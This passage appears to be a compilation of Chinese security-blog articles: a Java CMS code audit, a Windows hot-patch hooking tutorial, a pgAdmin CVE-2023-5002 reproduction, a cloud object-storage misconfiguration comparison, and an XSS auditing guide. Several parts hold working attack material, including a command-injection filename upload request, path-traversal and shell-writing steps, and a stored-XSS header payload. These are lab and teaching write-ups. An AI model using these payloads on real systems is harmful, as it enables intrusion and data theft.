于是使用两个单引号''使得系统不抛出异常,然后查看日志文件中发现sql语句没有过滤单引号,说明注入确实存在。
or 1 结果
or 0结果 注入确实存在
0x3 文件下载
/common/down路由中的file方法,直接获取http请求中的filekey参数,并且没有过滤../等关键字符。fileKey的值和PathKit.getWebRootPath()函数的返回值拼接。然后fileKey其实就是http中的参数。
ps:该路由不在前台,只能通过白盒的方式去进行,但是后续通过github上的fuzz字典发现也可以fuzz得到但是fuzz发包数量巨大不作为参考。但是日后如果实在挖不出洞,可以考虑多fuzz一下,也许就出货了也说不准。这里用的字典较大,其实可以考虑小一些的字典,算是个人的一些挖洞经验吧。
参数的fuzz
0x4 csrf
在系统管理-> 系统用户 -> 添加用户处,抓包然后使用burp生成csrf poc
保存至html后,点击submit request
可以看到用户被成功添加了
0x5 组合拳+sql备份getshell未果(条件较为苛刻)
这里是想getshell来着,毕竟都白盒了,当然能getshell就getshell,不能getshell就想办法getshell了。这里是发现后台上传接口,过滤了jsp,jspx文件名。
发现公司管理->基础内容->公司信息有上传图片
上传jsp文件,jspx文件均被拦截。
然后发现系统管理->数据库管理处发现可以进行数据库备份还原操作。在数据库还原抓包,发现是一个sql文件名字。这里想到之前的任意文件下载,那么岂不是可以通过上传一个sql文件,然后通过备份这个sql文件进行数据库备份getshell。
首先去下载备份好的sql文件,路径在static/back/文件名
然后添加getshell的payload
然后上传该sql文件,注意需要改后缀名为png
然后sql备份处填写上文件名,使用../让系统跨目录读取png图片
然后查看payload上的1.jsp是否成功生成。
访问的时候失败了,无法解析jsp,jspx等文件,但是服务器确实有写入了jsp文件
得到了两个前置条件
需要知道系统的绝对路径
系统下得开启其他能够解析的应用(如另外一个java系统在其他端口上,但是能够解析jsp,就可以通过该cms的漏洞在其他系统上写webshell,也算是一个任意文件写入,做到了"隔山打牛")
0x6 默认密码
一个比较容易忽略的点,通常admin的默认密码管理员基本都会在部署网站之后马上修改,但是如果类似有几个账户的情况下,管理员可能会忽略掉其他用户的默认密码。这里可以直接看sql文件。在其sql文件下发现有两个默认账号一个是admin,一个是read。
read登录成功
0x7 总结
本次代码审计强化学习了白+黑的方式,更加简单的找出了漏洞,有些地方还欠缺一些思路,比如0x5rce那一块,想着是不是可以写一个class文件达到rce的效果。或者覆盖掉原本的xml文件之类的操作,不允许上传jsp,jspx文件是否可以通过上传war包来进行getshell。总之觉得还有诸多不足,篇幅关系记录到这。
浅谈热补丁的钩取方式
前言
热补丁的钩取方式是为了解决内联钩取在多线程情况下会出错的情况,使用热补丁的钩取可以避免重复读写指令造成问题。
内联钩取潜在问题
正常情况下,在每次跳转到自定义函数时需要将原始的指令(mov edi,edi)写回CreateProcessW函数内,为了后续正确调用CreateProcesW函数,在调用完毕之后,又需要进行挂钩的处理,即将mov指令修改为jmp指令。
但是在多线程的情况下就可能会出现下列问题,在进行mov指令篡改时可能会发生线程的切换,因为篡改指令的操作不是原子操作。那么在线程2时可能调用了CreateProcessW函数时可能跳转指令还没写完成,例如下图的jmp 0x12xx,而不是原本的jmp 0x1234就导致了执行出错。
为了解决此问题采用了热补丁钩取。
热补丁钩取
热补丁是指在不中断系统运行进行应用。即不中断程序运行也能够修改系统库或程序中的执行逻辑。
这里以CreateProcessW为例子
在windbg中使用以下指令在CreateProcessW函数中打下断点
.reload /f
bp CreateProcessW
可以看到CreateProcessW函数入口点是mov edi,edi指令,而在该指令上方有一段没用用到的空间,在windbg中使用int 3指令填充了。
而mov edi,edi指令本身没有实际意义,这就是微软在系统库预留的空间,用于打上热补丁。因为这个指令无论被修改成什么都不会影响程序的执行。
接着可以发现这跳指令的长度为2字节,因此可以使用任意的2字节长的指令替换mov edi,edi。
那么这里就需要寻找可以完成跳转的指令,并且仅占用2字节完成对mov指令的替换。
在汇编中存在着短跳转指令可以完成跳转并且仅占用2字节,用以下例子来观察一下短跳转的指令。
int main()
{
// 使用标签作为跳转目标
__asm {
jmp short label;
};
// 标签处定义跳转目标
label:
// 这里是跳转目标后的代码
return 0;
}
可以看到在跳转到标签label上时,采用的跳转指令机器码是EB开头的,而不是E9,并且指令长度也只有2字节。
那么00是跳转的偏移值,根据该例子分析一下跳转偏移的计算
跳转偏移 = 目标地址 - 当前地址 - 当前指令的长度
00 = 00731005 - 00731003 - 2
可以看到计算偏移的公式与jmp指令一致,只是跳转的指令的长度为5字节,而短跳转的指令长度为2字节,因此jmp指令也被称之为长跳转。
那么怎么配合短跳转进行一个钩取操作,如下图。我们可以借助短跳转使得指令执行到上述填充的区域,然后再使用jmp指令完成钩取的操作。这里需要注意的是空闲区域的空间大小需要大于5个字节,不然无法容纳jmp指令。
最终修改后钩取的效果如下图,在自定义函数中不在需要钩取与脱钩的操作,因为我们修改的指令不会影响正常的CreateProcessW函数执行。那么在既然不存在写操作,那么在多线程中也不会因为条件竞争导致还没写完就切换线程的情况。
那么代码实现部分如下,这里需要注意长跳转的指令0xE9,短跳转的指令为0xEB,这里先把偏移计算好了0xF9,因此写好了,但是这个偏移值不是唯一值,只要找到的地址存在大于5字节的空闲区域都是可以的。紧接着就是修改函数内部的指令,将初始的指令修改为短跳转,然后再空闲区中填充长跳转即可。
...
//长跳转指令
BYTE pBuf[5] = { 0xE9, 0 };
//短跳转指令 + 偏移值
BYTE pShortJmp[2] = { 0xEB, 0xF9};
//获取模块地址
HMODULE hModule = GetModuleHandleA(szDllName);
//获取函数地址
FARPROC pfnOld = GetProcAddress(hModule, szFuncName);
//选中长跳转指令填充的地址,这里选择恰好能容纳jmp指令的位置
DWORD target = (DWORD)pfnOld - 5;
//计算跳转的偏移
DWORD dwAddress = (DWORD)pfnNew - target - 5;
//修改区域的权限
VirtualProtect((LPVOID)target, 7, PAGE_EXECUTE_READWRITE, &dwOldProtect);
//将偏移填充到指令中
memcpy(&pBuf[1], &dwAddress, 4);
//将长跳转指令填充
memcpy((LPVOID)target, pBuf, 5);
//保存原始的两个字节
memcpy(pOldBytes, pfnOld, 2);
//将短跳转指令填充
memcpy(pfnOld, pShortJmp, 2);
VirtualProtect((LPVOID)target, 7, dwOldProtect, &dwOldProtect);
...
在自定义函数中,只需要直接调用CreatePorcessW + 2的指令就可以完成原始CreateProcessW函数,不再需要挂钩脱钩的处理。
...
//调用CreateProcessW + 2
BOOL ret = ((LPFN_CreateProcessW)((DWORD)pfnOld + 2))(
applicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation
);
...
完整代码:
https://github.com/h0pe-ay/HookTechnology/tree/main/Hook-HotPatch总结
优点:避免多线程出错
缺点:不一定有热补丁的条件,就是不一定存在有垃圾指令
如64位程序的CreateProcessW函数的第一条指令是mov r11,rsp,但是后续的指令都需要用到r11寄存器的值,因此该指令不是无用指令。就不能上述热补丁的方法。
pgAdmin后台命令执行漏洞(CVE-2023-5002)
我们可以看到针对于漏洞 CVE-2022-4223,官方做了一定的修复措施。
web\pgadmin\misc__init__.py#validate_binary_path
首先是添加了 @login_required 进行权限校验。在 Flask 框架中,@login_required 装饰器通常与 Flask-Login 扩展一起使用。Flask-Login 提供了简单而强大的用户身份验证功能,其中包括 @login_required 装饰器用于保护需要登录用户才能访问的视图。当在一个函数、方法或类上应用 @login_required 装饰器时,它会检查当前用户是否已经登录。如果用户未登录,则会将其重定向到登录页面或返回相应的错误信息,而不允许访问被装饰的代码块。
添加了权限校验之后,这个漏洞就从未授权的前台漏洞,转换为需要登录的后台漏洞了。
同时对传入的路径进行校验,通过 os.path.exists 来判断是否存在。
linux
我们发现会对传入的路径进行校验的,那么在linux 下,我们可以通过在服务器上上传一个包含恶意文件名的文件,来进行绕过。
可以从 docker hub 上搜索 docker 资源
https://hub.docker.com/search?q=pgadmindocker pull dpage/pgadmin4:7.6
docker run -e 'PGADMIN_DEFAULT_EMAIL=test@example.com' -e 'PGADMIN_DEFAULT_PASSWORD=123456' -p 5050:80 --name pgadmin -d docker.io/dpage/pgadmin4:7.6
登录后台工具->存储管理器
上传一个包含恶意文件名的文件
POST /file_manager/filemanager/3395111/ HTTP/1.1
Host: 127.0.0.1:5050
Content-Length: 491
X-pgA-CSRFToken: ImE3NDYzOGJhOWYxNDIzY2QzZDUwNTI3MWMzOGU4NGNhMmNhNzkzYTQi.Zi8ctA._DuZsbw2SE05kwuVkqgG7Y-KsjE
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryihDQGI2B09k9alLf
Origin: http://127.0.0.1:5050
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:5050/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: pga4_session=2397843f-fbe6-4481-947e-e30f73c6a0ee!GPxXiZuTJzjVn+sk6vhlLNAmjhQr6xIY0yumFSIGBAQ=; PGADMIN_LANGUAGE=zh
Connection: close
------WebKitFormBoundaryihDQGI2B09k9alLf
Content-Disposition: form-data; name="newfile"; filename="\";id;#"
Content-Type: text/plain
123
------WebKitFormBoundaryihDQGI2B09k9alLf
Content-Disposition: form-data; name="mode"
add
------WebKitFormBoundaryihDQGI2B09k9alLf
Content-Disposition: form-data; name="currentpath"
/
------WebKitFormBoundaryihDQGI2B09k9alLf
Content-Disposition: form-data; name="storage_folder"
my_storage
------WebKitFormBoundaryihDQGI2B09k9alLf--
同时可以得到在文件在服务器上的路径
打开文件->配置
路径->二进制路径->填入恶意文件的位置
点击运行
windows
下载软件并进行安装
https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v6.21/windows/pgadmin4-6.21-x64.exe需要把C:\Users\username\AppData\Local\Programs\pgAdmin 4\v5\web 下的config.py 修改 DEFAULT_SERVER \= '0.0.0.0'
因为windows 无法利用拼接来执行命令,所以还是要想办法成功加载文件才行。
import os
binary_path = "\\\\192.168.222.128\\TMP\\"
UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']
for utility in UTILITIES_ARRAY:
full_path = os.path.abspath(
os.path.join(binary_path, (utility if os.name != 'nt' else (utility + '.exe')))
)
print(full_path)
print(os.path.exists(full_path))
windows 不能再利用共享资源来实现,所以也构造一个exe 上传并执行。
编译恶意的exe文件并放到上传
pip install pyinstaller
type execute_calc.py
import subprocess
def execute_calc():
subprocess.call("calc.exe")
if __name__ == "__main__":
execute_calc()
pyinstaller --onefile execute_calc.py
和linux启动有所不同
Tools->import
成功将恶意文件上传到服务器上。
同时构造请求数据包
POST /misc/validate_binary_path HTTP/1.1
Host: 192.168.222.145:5050
X-pgA-CSRFToken: IjU4MzQ0OTM2Yzc3YzM5ZmE5Yjg0MjRhODVlNzkzZjM5MTViZDBmNzki.Zi9GcQ.pGwCjLqPq3fNzohIRNerpipIRK8
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://192.168.222.145:5050
Referer: http://192.168.222.145:5050/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: pga4_session=e6f521fc-e9f4-4c58-bf0a-e9abafb4ceb5!JG7fBzRT4FkugKb175t9vWdZpKmAtnbo0d/oPzcAbFI=; PGADMIN_LANGUAGE=en
Connection: close
Content-Type: application/json
Content-Length: 39
{"utility_path":"C:\\Users\\whippet\\"}
可能是因为本地测试的原因,后来尝试的时候发现,本地去调用共享文件时,可以接收到请求,但是很快就断开连接,所以最后的结果是 False。
所以环境为windwos 时可以利用共享资源来绕过 os.path.exists()的检测。
云上宝库:三大厂商对象存储安全性及差异性比较
前言
看了几家云厂商的对象存储,使用上有相似也有差异,聊聊阿里云、腾讯云、京东云三家对象存储在使用中存在的风险以及防护措施。
0x01 云存储命名
阿里云对象存储OSS(Object Storage Service),新用户免费试用三个月,存储包容量规格20G三个月.
腾讯云对象存储 COS(Cloud Object Storage),新用户标准存储容量包,有效期6个月(180天),个人用户50GB6个月,企业用户1T六个月。
京东云对象存储OSS(Object Storage Service) ,目前无限制,存储包容量规格10G/月,请求次数50W次/月的标准,低于标准一直免费使用。
0x02 云存储空间创建
阿里云
创建存储桶Bucket的名称唯一设置和地域没有关系,创建存储桶后的域名规则为:<BucketName>.oss.<Region>.aliyuncs.com
腾讯云
腾讯云创建存储桶名称唯一跟低于也无关系,其名称构成<BucketName-APPID>.cos.<Region>.myqcloud.com
京东云
京东云的bucket地域只有四个,命令规则为<BucketName>.s3.<position>-id.jdcloud-oss.com
华北
华东
0x03 云存储API密钥存储
阿里云
进入
离开创建页面后无法获取SK,需提前保存SK,后期无法查看
这里用户权限需要授权
如果未授权,则Forbiden访问
腾讯云
创建AK/SK后期无法查询,密钥存储要求上基本与阿里云一致。
京东云
京东云需要首先设置AccessKey,否则无法操作存储桶。
AccessKey创建后可AS查看
0x04 云存储常见安全问题
1. 配置不当导致的安全问题
阿里云
阿里云设置公有读
存储桶内的文件可被读取,虽然无法直接list对象,但是可以通过爆破的方式读取文件内容
当设置包含listobject时,web访问存储桶直接可遍历对象
当Bucket的权限设置为公共读写的时候,是可以直接使用PUT方式上传文件到存储桶内,这种配置会导致桶内文件来源的真实性无法保证
文件上传成功
腾讯云
腾讯云的存储桶权限和阿里云类似,描述不同,当非公共读写、非私有的条件下是可以遍历桶内文件的
存储桶内的文件可被读取,虽然无法直接list对象,但是可以通过爆破的方式读取文件内容
公共读写权限配置后可直接上传
京东云
京东云在Bucket的权限上和阿里、腾讯基本一致,非私有状态下,也存在Bucket文件可遍历
上传txt
文件写入成功
风险
针对配置不当,可能产生的风险在于
数据泄露: 配置不当可能导致存储桶中的敏感数据被公开访问,如用户个人信息、敏感文件等。
后渗透风险:桶内数据来源的真实性面向用户无法保障,且对用户的安全性造成影响,可利用该漏洞进行供应链攻击。
2.策略配置不当导致的安全风险
针对三家厂商的存储桶,阿里云bucket授权策略
腾讯云Policy策略
这两家比较类似
京东云CORS跨域规则
规则添加简单测试还是比较友好的
风险
规则配置可能会导致存储桶敏感文件泄露,比如说规则设置添加遍历存储桶对象等。
3.存储桶爆破
阿里云
阿里云针对存储桶的回显返回值不同
无Bucket
腾讯云
腾讯云的回显
京东云
风险
虽然三家的产品根据回显值均可以爆破,如果从利用角度来讲,需要配合前面的配置不当才能继续后渗透,从爆破的角度来讲,腾讯云的域名构成<BucketName-APPID>.cos.<Region>.myqcloud.com的爆破存储桶的风险可以说是最低的,甚至可以说基本上不用考虑。目前下载大量的存储桶在业务中的应用可能最常见的是图片文件云存储利用,一般是不设置域名绑定存储桶的。
4.AK/SK泄露
AK 和 SK 泄露可能被恶意用户用于未经授权的访问云服务资源,导致数据泄露、篡改或删除等安全问题。针对不同厂商目前有工具可直接利用泄露的AK/SK接管存储桶。
针对不同厂商对象存储AK/SK的创建用户的权限划风险需要注意
阿里云RAM访问控制
腾讯云用户访问管理权限分配
京东云
用户授权
用户权限配置不当,会导致云服务被完全接管。
0x05 云存储防护
加强身份验证和访问控制: 使用身份和访问管理(IAM)来限制对存储桶和其中对象的访问。确保只有授权的用户或服务能够访问,并严格控制他们的权限,采用最小权限原则。
加密数据: 对于敏感数据,采用适当的加密措施,包括数据在传输和静态存储时的加密。
网络安全配置: 配置网络安全组、防火墙等措施,限制对存储桶的访问仅来自可信来源,减少公开访问的风险。
监控和日志记录: 设置监控警报,对存储桶的访问和活动进行实时监控,并记录审计日志,以便及时发现异常行为或潜在的安全威胁。
定期备份和恢复: 定期备份存储桶中的重要数据,并建立有效的恢复计划,以防止数据丢失或损坏,例如意外删除或勒索软件攻击。
防止公开访问误配置: 定期审查存储桶的访问权限配置,确保没有意外的公开访问权限,避免因配置错误导致数据泄露的风险。
实施访问限制策略: 使用 IP 白名单或访问令牌等策略,限制存储桶的访问仅限于授权的用户或系统。
代码审计中XSS挖掘一些体会
0x01 XSS的挖掘思路
1.1 反射型
直接搜索 echo print_r print之类的函数即可也可以寻找$_GET变量来判断是否存在输出(不过对于代码审计来说除非实在挖不出漏洞,否则没必要关注反射xss)
1.2 dom型
和反射型差不多需要看网站的前端javascript(一般安装好网页直接查看源代码即可,和反射xss一样代码审计没必要太过于关注)。但是也和反射型有区别,domxss是不经过服务器处理的,也就是不需要经过后端代码,需要审计javascript。
1.3 存储型xss
对于代码审计,存储型xss才是需要关注的重点。
存储型xss一般是存在有数据库交互的地方,因为需要把数据写入进去数据库中才能长期储存数据。
所以我们在审计存储型xss的时候会关注数据库交互的地方。
这里举例两种思路:
思路一 : 从数据库类文件中开始审计
什么是数据库类文件呢?其实在实际开发项目过程中,通常程序员都会把数据库操作封装成一个类来提供操作。
比如说我们需要设计一个留言板,留言板最基本得有这几个功能吧。比如说发表留言,查看留言,回复留言,删除留言,修改留言等等功能。
而这些是不是需要使用数据库来实现这类功能(下面用代码配合伪代码示意,注意代码可以不用理解功能,但是要能够理解代码为什么要这样写。)
# 比如用户发表一条留言
# uname就是用户名也就是"小明",content就是内容也就是"你好"
insert into text(id, uname, content) value(1, '小明', '你好');
# 然后用户发现你好不太恰当,想删掉替换成您好
delete from text where id = 1;
# id就是数据库用于区分不同数据的字段, delete from 表示删除表里面的内容
text表示需要删除的表
# 表示删除id=1的数据
where id = 1
# 那么php中的代码是这样看小明的:
$sql = "insert into text(id, uname, content) value(1, '小明',
'你好')";
// $conn就是我们数据库的链接
mysqli_query($conn, $sql);
$sql = "delete from text where id = 1";
mysqli_query($conn, $sql);
// 小明换成了您好
$sql = "insert into text(id, uname, content) value(2, '小明',
'您好')";
mysqli_query($conn, $sql);
$sql = "delete from text where id = 2";
mysqli_query($conn, $sql);
# 这样的代码是不是特别麻烦 把他简化一下(把sql查询做成一个函数)
function sql_insert($name, $content){
$sql = "insert into text(id, uname, content) value(1, '{$name}',
'{$content}',哈哈哈哈')";
mysqli_query($conn,$sql);
}
function sql_delete($id){
$sql = "delete from text where id = '{$id}'";
mysqli_query($conn,$sql);
}
// 好的封装完成了 这时候小明发送你好
sql_insert('小明', "你好");
sql_delete(1); // 想删除
// 发送您好
sql_insert('小明', "您好");
sql_delete(2); // 又删除
# 这样是不是无论小明发多少条留言都能够很轻松的删除插入
# 好了 这就是封装成的作用(把重复的操作放在一起)
#
这里是写完了,但是还是有一个问题,比如遇到sql注入怎么办。遇到xss怎么办。
# 很简单!只需要修改我们定义的两个操作函数即可
function sql_insert($name, $content){
$name = htmlspecialchars(addslashes($name));
$content = htmlspecialchars(addslashes($content)); // 添加了转义
$sql = "insert into text(id, uname, content) value(1, '{$name}',
'{$content}')";
mysqli_query($conn,$sql);
}
function sql_delete($id){
$id = intval($id); // 强制转换
$sql = "delete from text where id = '{$id}'";
mysqli_query($conn,$sql);
}
#
是不是这样的写法很方便,如果我们不定义一个函数集中操作的话每次拼接sql语句都需要添加htmlspecialchars和addlashes
#
这就是我们为什么要寻找数据库操作文件的意义。(因为程序员很有可能把过滤函数写在sql类中)
好了,进入正题。 关于如何找到sql封装文件,很简单。
搜索关键字即可(new mysqli, mysqli,pdo)这里拿其他cms来实例(phpems架构比较复杂也就是上课时用的cms)这里我使用yixuncms_v2.0.3
打开文件,全局搜索
第二步 分析文件的功能 查找需要的关键函数
直接跟进query函数 查看是否有过滤
右键定位函数 定位escape_string_array函数
然后跟进审计
思路二: 使用输出函数进行动态输出查看是否过滤
因为源代码在我们服务器上,我们可以使用echo或者var_dump查看过滤后的结果来判断过滤了什么。
由于我们不知道在程序在哪个页面做了sql查询,所以选择登录功能作为测试点
因为可以知道一点,那就是登陆功能一定是做了sql查询的,除非是前端登陆,而前端登陆本身也就是一个漏洞...
知道了这一点,登陆抓包,登陆账号密码有没有都不要紧。
我这里使用错误的账号密码登陆:
返回了一个操作失败
然后我们根据提示去全局搜索: 操作失败
至于为什么是这三个呢? 因为我们抓到的数据表访问的就是这个路径
进入app.php
然后定位getUserByUserName函数
然后就可以添加代码进行调试了(修改后记得保存 快捷键 ctrl + s)
再次发包进行调试发现已经返回sql语句了
思路在这里完结了。下面是漏洞复现
0x02 漏洞的复现
因为上面已经知道了xss和sql在普通参数里面不存在,然后正常注册后登陆发现
那么直接根据注册ip搜索
跟进后再次全局搜索
由于程序开发中默认ip地址是安全的一般很少会进行过滤,所以这里直接猜测ip地址不存在过滤。
然后注册账号进行测试
payload:Client-ip: <svg/onload=alert(1)>
然后放包,发现个人中心已经存储了我们的xss
同理,这里没有经过过滤也是存在注入的。这里就不在演示
0x03 总结
xss加固可以在前端或者后端实体编码 同时也要注意对单双引号的转义。
不要以为获取ip就是安全的,获取ip往往是不安全的。
思路 -》 找过滤函数 -》测试过滤是否有遗漏 -》 测试可能没有经过过滤的参数
有些网站会把在属性内的参数使用反斜杠编码.比如你输入 &url="onerror=alert(1) 双引号会被转义成/",这时如果网站的编码是gb2312...之类的可以使用宽字节 %df"的方式绕过
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

